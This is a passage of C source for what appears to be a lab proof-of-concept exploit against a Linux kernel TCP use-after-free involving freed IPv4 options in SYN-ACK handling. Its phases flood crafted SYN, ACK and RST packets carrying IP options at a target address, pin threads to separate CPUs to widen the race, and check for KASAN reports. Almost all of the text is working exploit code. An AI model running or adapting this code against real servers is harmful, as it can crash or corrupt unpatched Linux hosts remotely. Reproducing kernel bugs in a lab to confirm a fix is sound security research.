* dense ACK+RST train around each tuple's timer instant. p2p /32 topology
* (no route back) keeps the attacker kernel's auto-RSTs away so the reqs
* stay pending for their full 1s. */
static int phase_timerace(void)
{
topology_init(0, PORT_PLAIN, 0, 1); /* plain listener, p2p /32 mode */
raw_init(); pkt_init(); pkt_bind("v1");
l2_init("v1");
uint32_t dip = inet_addr(TARGET_IP), sip = inet_addr(ATTACKER_IP);
struct tuple4 t = { .sip = sip, .dip = dip, .sport = 0, .dport = PORT_PLAIN };
enum { N = 16, ROUNDS = 30 };
static uint32_t srv_isn[ROUNDS][N];
static uint16_t ports[ROUNDS][N];
uint8_t pkt[96];
uint32_t base = 0x1000;
int armed = 0;
for (int r = 0; r < ROUNDS; r++) {
uint32_t rbase = base + (uint32_t)r * 512;
int port0 = 26000 + r * 64;
for (int i = 0; i < N; i++) { ports[r][i] = port0 + i; srv_isn[r][i] = 0; }
/* staggered SYNs: 8ms apart -> their 1s timers spread over 128ms */
for (int i = 0; i < N; i++) {
t.sport = ports[r][i];
size_t n = build_ip_tcp(pkt, &t, rbase + i, 0, 0x02, IPOPT_PAD, IPOPTLEN);
send_l2(pkt, n, dip);
usleep(8000);
}
/* collect ISNs while timers approach */
for (int w = 0; w < 10; w++) {
int got = 0;
sniff_synacks_multi(ports[r], N, srv_isn[r], 20);
for (int i = 0; i < N; i++) got += !!srv_isn[r][i];
if (got >= N * 3 / 4) break;
}
int got = 0; for (int i = 0; i < N; i++) got += !!srv_isn[r][i];
armed += got;
logf_("timerace", "round %d/%d: %d/%d ISNs — ACK train will straddle the 1.000s timers",
r + 1, ROUNDS, got, N);
/* wait until just before the timers (SYNs went out 0-128ms ago) */
usleep(600 * 1000);
/* dense final-ACK train spanning ~450ms so in-flight ACKs cover the
* whole timer window [SYN+1000ms, SYN+1128ms]: each ACK completes a
* child (which takes ownership of the shared ip_options buffer) and
* the SERVER's accept()+SO_LINGER(0) close destroys it in process
* context (potentially another CPU) while a request-socket timer on
* another tuple is still inside tcp_v4_send_synack() reading
* ireq->ireq_opt — the CVE's use-after-free window. */
for (int burst = 0; burst < 600; burst++) {
for (int i = 0; i < N; i++) {
if (!srv_isn[r][i]) continue;
t.sport = ports[r][i];
size_t n = build_ip_tcp(pkt, &t, rbase + i + 1, srv_isn[r][i] + 1, 0x10, NULL, 0);
send_l2(pkt, n, dip);
}
usleep(700);
}
usleep(900 * 1000); /* settle: clear backlog + reqs before next round */
}
logf_("timerace", "done (%d armed) — check dmesg for the KASAN report", armed);
kill(g_target_pid, SIGKILL);
waitpid(g_target_pid, NULL, 0);
return 0;
}
/* ------------------------------------------------------------------ */
/* PHASE: det — deterministic cross-CPU reproduction of the CVE race.
*
* The natural race needs the SYNACK-options reader and the child
* destruction on different CPUs at the same instant. In this lab that is
* engineered explicitly:
* - the attacker runs two sender threads on different CPUs; a veth
* receive is processed on the TRANSMITTING cpu (RPS disabled), so
* dup-SYN packets (reader path) process on CPU1 while final ACKs
* (child creation) process on CPU0;
* - the server child is pinned to CPU3: accept()+SO_LINGER(0) close()
* destroys the child — kfree(inet_opt), pre-fix — in process context
* on a third CPU;
* - the -amp kernel holds tcp_v4_send_synack() (the reader) for 50ms
* before it dereferences ireq->ireq_opt, so any ACK+close pair landing
* inside a reader window frees the ip_options buffer while the reader
* is still about to walk it => KASAN use-after-free (on 6.6.158) vs
* clean (on 6.6.158-fixed, kfree_rcu waits for the RCU grace period).
*/
struct det_cfg { uint16_t ports[16]; uint32_t base; uint32_t srv[16]; int n; volatile int *run; };
static void *det_flooder(void *arg)
{
struct det_cfg *c = arg;
cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof cpuset, &cpuset);
uint8_t pkt[96];
struct tuple4 t = { inet_addr(ATTACKER_IP), inet_addr(TARGET_IP), 0, PORT_PLAIN };
while (*c->run) {
for (int i = 0; i < c->n; i++) {
t.sport = c->ports[i];
size_t n = build_ip_tcp(pkt, &t, c->base + i, 0, 0x02, IPOPT_PAD, IPOPTLEN);
send_l2(pkt, n, t.dip);
}
usleep(2000);
}
return NULL;
}
static void *det_trainer(void *arg)
{
struct det_cfg *c = arg;
cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof cpuset, &cpuset);
uint8_t pkt[96];
struct tuple4 t = { inet_addr(ATTACKER_IP), inet_addr(TARGET_IP), 0, PORT_PLAIN };
/* ACKs use the captured server ISNs; the flooder only needs isn offsets */
uint32_t *srv = (uint32_t *)((char *)c - 0); /* not used here */
(void)srv;
while (*c->run) {
for (int i = 0; i < c->n; i++) {
if (!c->srv[i]) continue;
t.sport = c->ports[i];
size_t n = build_ip_tcp(pkt, &t, c->base + i + 1, c->srv[i] + 1, 0x10, NULL, 0);
send_l2(pkt, n, t.dip);
}
usleep(2000);
}
return NULL;
}
static int phase_det(void)
{
setenv("LAB_MIN", "1", 1); /* minimal sysctls, RPS disabled */
topology_init(3, PORT_PLAIN, 0, 1); /* mode 3: serve pinned CPU3, p2p */
raw_init(); pkt_init(); pkt_bind("v1");
l2_init("v1");
uint32_t dip = inet_addr(TARGET_IP), sip = inet_addr(ATTACKER_IP);
struct tuple4 t = { .sip = sip, .dip = dip, .sport = 0, .dport = PORT_PLAIN };
enum { N = 16, ROUNDS = 40 };
static uint32_t srv_isn[N];
static uint16_t ports[N];
uint8_t pkt[96];
uint32_t base = 0x1000;
volatile int run = 0;
for (int r = 0; r < ROUNDS; r++) {
uint32_t rbase = base + (uint32_t)r * 512;
int port0 = 27000 + r * 32;
for (int i = 0; i < N; i++) { ports[i] = port0 + i; srv_isn[i] = 0; }
logf_("det", "round %d/%d: SYNs w/ 40B IPOPT (x%d)", r + 1, ROUNDS, N);
for (int rep = 0; rep < 2; rep++) {
for (int i = 0; i < N; i++) {
t.sport = ports[i];
size_t n = build_ip_tcp(pkt, &t, rbase + i, 0, 0x02, IPOPT_PAD, IPOPTLEN);
send_l2(pkt, n, dip);
}
usleep(30 * 1000);
}
/* collect ISNs (the -amp kernel delays every SYNACK by 50ms) */
sniff_synacks_multi(ports, N, srv_isn, 1500);
int got = 0; for (int i = 0; i < N; i++) got += !!srv_isn[i];
logf_("det", "round %d: %d/%d ISNs — cross-CPU flooder(CPU1)+trainer(CPU0) vs serve(CPU3)",
r + 1, got, N);
/* launch reader-trigger (dupSYN) and handshake (ACK) senders */
struct det_cfg cfg;
cfg.n = N; cfg.base = rbase; cfg.run = &run;
memcpy(cfg.ports, ports, sizeof ports);
memcpy(cfg.srv, srv_isn, sizeof srv_isn);
run = 1;
pthread_t tf, tt;
pthread_create(&tf, NULL, det_flooder, &cfg);
pthread_create(&tt, NULL, det_trainer, &cfg);
usleep(800 * 1000);
run = 0;
pthread_join(tf, NULL); pthread_join(tt, NULL);
usleep(500 * 1000);
}
logf_("det", "done — check dmesg for the KASAN report");
kill(g_target_pid, SIGKILL);
waitpid(g_target_pid, NULL, 0);
return 0;
}
/* ------------------------------------------------------------------ */
/* PHASE: race (remote-style retransmitted-SYN vs child create+free)
*
* Architecture:
* racer threads : SYN(+IPOPT) -> publish tuple -> sniff SYNACK ->
* sendmmsg(ACK + RST back-to-back) [child lifetime ~= us]
* flooder threads: continuously re-send SYN for every live tuple, so
* tcp_check_req()/tcp_v4_send_synack() readers run
* concurrently with child creation + destruction.
*/
struct ring_slot { struct tuple4 t; uint32_t isn; volatile int live; };
#define RING_SZ 8192
static struct ring_slot g_ring[RING_SZ];
static volatile unsigned g_ring_head;
struct racer_cfg { int tid, iters; uint32_t sip, dip; uint16_t dport; };
static volatile unsigned long g_synacks, g_completes, g_rsts, g_flood;
static void *flooder_thread(void *arg)
{
int id = (int)(long)arg;
cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(2 + (id % 2), &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof cpuset, &cpuset);
int raw = socket(AF_INET, SOCK_RAW | SOCK_CLOEXEC, IPPROTO_TCP);
int one = 1; setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
struct sockaddr_in d = {0};
d.sin_family = AF_INET; d.sin_addr.s_addr = inet_addr(TARGET_IP);
uint8_t pkt[96];
for (;;) {
for (int i = 0; i < RING_SZ; i++) {
struct ring_slot *s = &g_ring[i];
if (!s->live) continue;
s->t.dport = s->t.dport; /* keep */
size_t n = build_ip_tcp(pkt, (struct tuple4 *)&s->t, s->isn, 0, 0x02,
IPOPT_PAD, IPOPTLEN);
d.sin_addr.s_addr = s->t.dip;
sendto(raw, pkt, n, 0, (struct sockaddr *)&d, sizeof d);
__sync_fetch_and_add(&g_flood, 1);
}
usleep(100); /* dense rain over live tuples */
}
return NULL;
}
static void racer_ack_rst(int raw, const struct tuple4 *t, uint32_t isn,
uint32_t srv_isn, struct sockaddr_in *d)
{
struct mmsghdr msg[2];
struct iovec iov[2];
uint8_t pkts[2][96];
size_t lens[2];
/* NOTE: no IP options on ACK/RST — mirrors kernel-generated packets;
* options-bearing ACKs are dropped by the target (empirically). */
lens[0] = build_ip_tcp(pkts[0], t, isn + 1, srv_isn + 1, 0x10 /*ACK*/, NULL, 0);
lens[1] = build_ip_tcp(pkts[1], t, isn + 1, srv_isn + 1, 0x04 /*RST*/, NULL, 0);
memset(msg, 0, sizeof msg);
for (int i = 0; i < 2; i++) {
iov[i].iov_base = pkts[i]; iov[i].iov_len = lens[i];
msg[i].msg_hdr.msg_iov = &iov[i];
msg[i].msg_hdr.msg_iovlen = 1;
msg[i].msg_hdr.msg_name = d;
msg[i].msg_hdr.msg_namelen = sizeof *d;
}
sendmmsg(raw, msg, 2, 0);
__sync_fetch_and_add(&g_completes, 1);
__sync_fetch_and_add(&g_rsts, 1);
}
static void *racer_thread(void *arg)
{
struct racer_cfg *c = arg;
cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(c->tid % 2, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof cpuset, &cpuset);
int raw = socket(AF_INET, SOCK_RAW | SOCK_CLOEXEC, IPPROTO_TCP);
int one = 1; setsockopt(raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof one);
int pcap = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP));
struct sockaddr_ll sa = {0};
sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_IP);
sa.sll_ifindex = if_nametoindex("v1");
bind(pcap, (struct sockaddr *)&sa, sizeof sa);
struct sockaddr_in d = {0};
d.sin_family = AF_INET; d.sin_addr.s_addr = c->dip; d.sin_port = htons(c->dport);
struct sockaddr_in bindto = {0};
bindto.sin_family = AF_INET; bindto.sin_addr.s_addr = c->sip;
for (int i = 0; i < c->iters; i++) {
uint16_t sport = 1024 + ((unsigned)(c->tid * 40000 + i) % 64000);
/* real client socket: the kernel SYN carries our IPv4 options
* (IP_OPTIONS), the kernel completes the handshake itself (no
* stray auto-RST), and SO_LINGER(0) close() destroys the child
* (=> inet_sock_destruct -> kfree(inet_opt), pre-fix). */
int fd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0);
if (fd < 0) continue;
setsockopt(fd, IPPROTO_IP, IP_OPTIONS, IPOPT_PAD, IPOPTLEN);
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof one);
bindto.sin_port = htons(sport);
if (bind(fd, (struct sockaddr *)&bindto, sizeof bindto) < 0) { close(fd); continue; }
if (connect(fd, (struct sockaddr *)&d, sizeof d) < 0 && errno != EINPROGRESS) { close(fd); continue; }
/* capture our own outgoing SYN to learn the kernel's ISN so the
* flooder can rain retransmitted SYNs for the exact sequence */
uint32_t isn = 0;
for (int w = 0; w < 30 && !isn; w++) {
uint8_t buf[2048];
struct timeval tv = { .tv_usec = 2000 };
fd_set rf; FD_ZERO(&rf); FD_SET(pcap, &rf);
if (select(pcap + 1, &rf, NULL, NULL, &tv) <= 0) continue;
ssize_t r = recv(pcap, buf, sizeof buf, MSG_DONTWAIT);
if (r < 34) continue;
struct iphdr *ip = (struct iphdr *)(buf + 14);
if (ip->version != 4 || ip->protocol != IPPROTO_TCP) continue;
struct tcphdr *th = (struct tcphdr *)((uint8_t *)ip + ip->ihl * 4);
if (th->syn && !th->ack && ntohs(th->source) == sport &&
ip->saddr == c->sip && ip->daddr == c->dip)
isn = ntohl(th->seq);
}
unsigned idx = (unsigned)-1;
if (isn) {
idx = __sync_fetch_and_add(&g_ring_head, 1) % RING_SZ;
struct tuple4 t = { c->sip, c->dip, sport, c->dport };
g_ring[idx].t = t; g_ring[idx].isn = isn; g_ring[idx].live = 1;
}
/* wait for handshake completion */
struct pollfd pfd = { .fd = fd, .events = POLLOUT };
if (poll(&pfd, 1, 60) > 0 && (pfd.revents & POLLOUT)) {
int soerr = 0; socklen_t sl = sizeof soerr;
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &soerr, &sl) == 0 && soerr == 0) {
__sync_fetch_and_add(&g_synacks, 1);
struct linger lg = { .l_onoff = 1, .l_linger = 0 };
setsockopt(fd, SOL_SOCKET, SO_LINGER, &lg, sizeof lg);
close(fd); /* RST: child destroyed on the target */
__sync_fetch_and_add(&g_completes, 1);
__sync_fetch_and_add(&g_rsts, 1);
usleep(200); /* flooder rains over the destruction */
} else {
close(fd);
}
} else {
close(fd);
}
if (idx != (unsigned)-1) g_ring[idx].live = 0;
}
close(raw); close(pcap);
return NULL;
}
static int phase_race(int mptcp, int threads, int iters)
{
topology_init(mptcp ? 2 : 0, mptcp ? PORT_MPTCP : PORT_PLAIN, 0, 0);
sysctl_write("/proc/sys/net/ipv4/tcp_syncookies", "0");
logf_("race", "attacking %s:%d threads=%d iters=%d + 2 dup-SYN flooders",
TARGET_IP, mptcp ? PORT_MPTCP : PORT_PLAIN, threads, iters);
pthread_t th[16], fl[2];
for (int i = 0; i < 2; i++) pthread_create(&fl[i], NULL, flooder_thread, (void *)(long)i);
struct racer_cfg cfg[16];
for (int i = 0; i < threads; i++) {
cfg[i] = (struct racer_cfg){ .tid = i, .iters = iters,
.sip = inet_addr(ATTACKER_IP), .dip = inet_addr(TARGET_IP),
.dport = mptcp ? PORT_MPTCP : PORT_PLAIN };
pthread_create(&th[i], NULL, racer_thread, &cfg[i]);
}
for (int i = 0; i < threads; i++) pthread_join(th[i], NULL);
usleep(200000);
logf_("race", "done: synacks=%lu completed=%lu rsts=%lu dup_syns=%lu — check dmesg KASAN",
g_synacks, g_completes, g_rsts, g_flood);
for (int i = 0; i < RING_SZ; i++) g_ring[i].live = 0;
kill(g_target_pid, SIGKILL);
waitpid(g_target_pid, NULL, 0);
return 0;
}
/* ------------------------------------------------------------------ */
/* PHASE: selftest (prove IP-options echo path works end to end) */
static int selftest(void)
{
topology_init(0, PORT_PLAIN, 0, 0);
/* baseline: normal TCP connect over the veth (no raw crafting) */
{
int s = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
struct sockaddr_in a = {0};
a.sin_family = AF_INET; a.sin_port = htons(PORT_PLAIN);
a.sin_addr.s_addr = inet_addr(TARGET_IP);
int r = connect(s, (struct sockaddr *)&a, sizeof a);
logf_("selftest", "baseline plain connect(): %s", r ? strerror(errno) : "OK");
close(s);
}
raw_init(); pkt_init(); pkt_bind("v1");
int guard_main = sock_guard(15000);
int guard_ctrl = sock_guard(15001);
logf_("selftest", "guards BEFORE any SYN: main=%d ctrl=%d", guard_main, guard_ctrl);
uint32_t dip = inet_addr(TARGET_IP), sip = inet_addr(ATTACKER_IP);
struct tuple4 t = { sip, dip, 15000, PORT_PLAIN };
uint8_t pkt[96], echo[64];
size_t n = build_ip_tcp(pkt, &t, 0xdeadbeef, 0, 0x02, IPOPT_PAD, IPOPTLEN);
/* control: SYN WITHOUT IP options (IHL=5) on a different port —
* complete the whole raw handshake to bisect options-on-SYN */
{
t.sport = 15001;
uint32_t cseq = 0xcafebabe;
size_t n5 = build_ip_tcp(pkt, &t, cseq, 0, 0x02, NULL, 0);
uint32_t s5 = 0;
for (int a = 0; a < 5 && !s5; a++) {
send_pkt(pkt, n5, dip);
s5 = sniff_synack(15001, 200, NULL, NULL);
}
logf_("selftest", "control (no IPOPT) SYNACK: %s isn=%08x", s5 ? "SEEN" : "none", s5);
if (s5) {
size_t n6 = build_ip_tcp(pkt, &t, cseq + 1, s5 + 1, 0x10, NULL, 0);
send_pkt(pkt, n6, dip);
usleep(200000);
logf_("selftest", "control raw ACK sent — watch for child #2");
}
}
logf_("selftest", "SYN with IPOPT %s -> " TARGET_IP ":%d", IPOPT_PAD, PORT_PLAIN);
uint32_t srv = 0;
size_t echo_len = 0;
for (int attempt = 0; attempt < 6 && !srv; attempt++) {
struct sockaddr_in dd = {0};
dd.sin_family = AF_INET; dd.sin_addr.s_addr = dip;
t.sport = 15000;
n = build_ip_tcp(pkt, &t, 0xdeadbeef, 0, 0x02, IPOPT_PAD, IPOPTLEN);
ssize_t r = sendto(g_raw, pkt, n, 0, (struct sockaddr *)&dd, sizeof dd);
if (attempt == 0) {
char hex[3 * 64]; size_t o = 0;
for (size_t i = 0; i < n; i++) o += snprintf(hex + o, sizeof(hex) - o, "%02x ", pkt[i]);
logf_("selftest", "pkt[%zu]: %s", n, hex);
}
if (r < 0) logf_("selftest", "sendto: %s", strerror(errno));
struct timespec ts0; clock_gettime(CLOCK_MONOTONIC, &ts0);
srv = sniff_synack(15000, 2000, echo, &echo_len);
if (srv) {
struct timespec ts1; clock_gettime(CLOCK_MONOTONIC, &ts1);
long ms = (ts1.tv_sec - ts0.tv_sec) * 1000 + (ts1.tv_nsec - ts0.tv_nsec) / 1000000;
logf_("selftest", "SYNACK latency: %ld ms", ms);
}
}
if (!srv) { logf_("selftest", "no SYNACK seen"); return 1; }
logf_("selftest", "SYNACK server_isn=0x%08x echoed_ipopt_len=%zu", srv, echo_len);
/* liveness probe: dup SYN must trigger a dup SYNACK if the req is alive;
* a DIFFERENT isn on the second SYNACK => req died in between */
{
t.sport = 15000;
size_t n2 = build_ip_tcp(pkt, &t, 0xdeadbeef, 0, 0x02, IPOPT_PAD, IPOPTLEN);
static const int delays[] = { 5, 15, 30, 60, 120, 250 };
uint32_t last = srv;
for (unsigned d = 0; d < sizeof(delays) / sizeof(delays[0]); d++) {
usleep(delays[d] * 1000);
send_pkt(pkt, n2, dip);
uint32_t got = sniff_synack(15000, 120, NULL, NULL);
logf_("selftest", "t+~%3dms dup-SYN -> isn=%08x (%s)",
delays[d], got, !got ? "no reply" : (got == srv ? "SAME req" : "NEW req"));
if (got && got != srv) break;
last = got ? got : last;
}
(void)last;
}
for (size_t i = 0; i < echo_len; i++) printf("%02x ", echo[i]);
printf("\n");
/* verification: crafted ACK completes the handshake? */
t.sport = 15000;
n = build_ip_tcp(pkt, &t, 0xdeadbeef + 1, srv + 1, 0x10, NULL, 0);
send_pkt(pkt, n, dip);
{
char hex[3 * 96]; size_t o;
o = 0;
for (size_t i = 0; i < n; i++) o += snprintf(hex + o, sizeof(hex) - o, "%02x ", pkt[i]);
logf_("selftest", "ack pkt[%zu]: %s", n, hex);
}
/* sniff every reply for the next ~400ms and report */
for (int w = 0; w < 20; w++) {
struct timeval tv = { .tv_usec = 20000 };
fd_set rf; FD_ZERO(&rf); FD_SET(g_pcap, &rf);
if (select(g_pcap + 1, &rf, NULL, NULL, &tv) <= 0) continue;
uint8_t buf[2048];
ssize_t r = recv(g_pcap, buf, sizeof buf, MSG_DONTWAIT);
if (r < 34) continue;
struct iphdr *ip = (struct iphdr *)(buf + 14);
if (ip->version != 4) continue;
struct tcphdr *th = (struct tcphdr *)((uint8_t *)ip + ip->ihl * 4);
logf_("selftest", "reply: tcp flags=%s%s%s%s sport=%u dport=%u seq=%08x ack=%08x",
th->syn ? "S" : "-", th->ack ? "A" : "-", th->rst ? "R" : "-", th->fin ? "F" : "-",
ntohs(th->source), ntohs(th->dest), ntohl(th->seq), ntohl(th->ack_seq));
if (th->ack && !th->syn && !th->rst) { logf_("selftest", "-> pure ACK reply (challenge?)"); break; }
}
logf_("selftest", "crafted ACK sent (check serve: child #2 or not)");
n = build_ip_tcp(pkt, &t, 0xdeadbeef + 1, srv + 1, 0x01, NULL, 0);
send_pkt(pkt, n, dip);
usleep(100000);
kill(g_target_pid, SIGKILL); waitpid(g_target_pid, NULL, 0);
return 0;
}
/* ------------------------------------------------------------------ */
int main(int argc, char **argv)
{
srand(time(NULL) ^ getpid());
{
struct rlimit rl = { .rlim_cur = 65536, .rlim_max = 65536 };
setrlimit(RLIMIT_NOFILE, &rl);
}
if (argc < 2) {
usage:
fprintf(stderr,
"Usage: %s <mode> [args]\n"
" phase-migrate deterministic UAF via tcp_migrate_req=1\n"
" phase-race [threads iters] remote-style retrans-SYN vs child-free race\n"
" phase-mptcp [threads iters] same, against MPTCP listener\n"
" selftest one handshake, show echoed IP options\n"
" serve <port> [--mptcp] plain accept+RST-close server\n"
" migrate-pair <port> <ms> reuseport pair, closes first after ms\n",
argv[0]);
return 2;
}
if (!strcmp(argv[1], "phase-migrate")) return phase_migrate();
if (!strcmp(argv[1], "phase-timerace")) return phase_timerace();
if (!strcmp(argv[1], "phase-det")) return phase_det();
if (!strcmp(argv[1], "phase-race"))
return phase_race(0, argc > 2 ? atoi(argv[2]) : 4, argc > 3 ? atoi(argv[3]) : 4000);
if (!strcmp(argv[1], "phase-mptcp"))
return phase_race(1, argc > 2 ? atoi(argv[2]) : 4, argc > 3 ? atoi(argv[3]) : 4000);
if (!strcmp(argv[1], "selftest")) return selftest();
if (!strcmp(argv[1], "serve")) {
if (argc < 3) goto usage;
write_target_sysctls(0);
return serve_mode(atoi(argv[2]), argc > 3 && !strcmp(argv[3], "--mptcp"));
}
if (!strcmp(argv[1], "migrate-pair")) {
if (argc < 4) goto usage;
write_target_sysctls(0);
return migrate_pair_mode(atoi(argv[2]), atoi(argv[3]));
}
goto usage;
}